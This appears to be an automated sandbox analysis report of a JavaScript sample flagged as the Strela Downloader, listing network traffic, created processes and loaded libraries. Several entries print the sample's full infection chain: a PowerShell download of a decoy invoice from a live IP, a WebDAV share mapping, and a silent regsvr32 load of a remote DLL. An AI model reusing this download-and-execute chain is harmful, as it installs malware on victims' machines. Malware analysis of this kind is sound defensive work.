Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49724

Source: global traffic

TCP traffic: 192.168.2.6:49724 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49713 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2179061821.0000014D81038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2234057449.000002A849C68000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2234134507.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2230576367.000002A849CBA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2231083500.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2234134507.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2231083500.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/3
Source: net.exe, 00000007.00000002.2234134507.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2231083500.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;
Source: net.exe, 00000007.00000002.2234057449.000002A849C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/LUg
Source: net.exe, 00000007.00000002.2234057449.000002A849C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tm9D
Source: svchost.exe, 00000009.00000002.3460046803.000002F9C8E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2233888867.000002F9C8BA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3776, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2300831576502014589.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1404:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ef4lcktb.doc.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2300831576502014589.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2300831576502014589.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1696,i,9192007246703842648,7699776659356869918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1696,i,9192007246703842648,7699776659356869918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
